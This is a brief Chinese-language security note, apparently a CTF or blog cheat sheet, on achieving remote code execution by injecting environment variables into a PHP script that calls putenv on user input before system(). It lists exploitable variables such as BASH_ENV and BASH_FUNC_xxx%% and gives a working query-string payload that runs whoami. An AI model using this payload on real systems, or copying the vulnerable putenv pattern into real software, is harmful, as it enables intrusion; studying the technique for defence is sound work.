详解:https://cloud.tencent.com/developer/article/2354373

利用环境变量注入RCE

对于这样的代码来进行RCE

1
2
3
4
5
6
7
<?php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>

环境变量利用:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在sh或bash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令

对于刚才的代码,就可以这样来执行whoami命令(bash环境下):

1
?envs[BASH_FUNC_echo%%]=()%20{%20whoami;%20}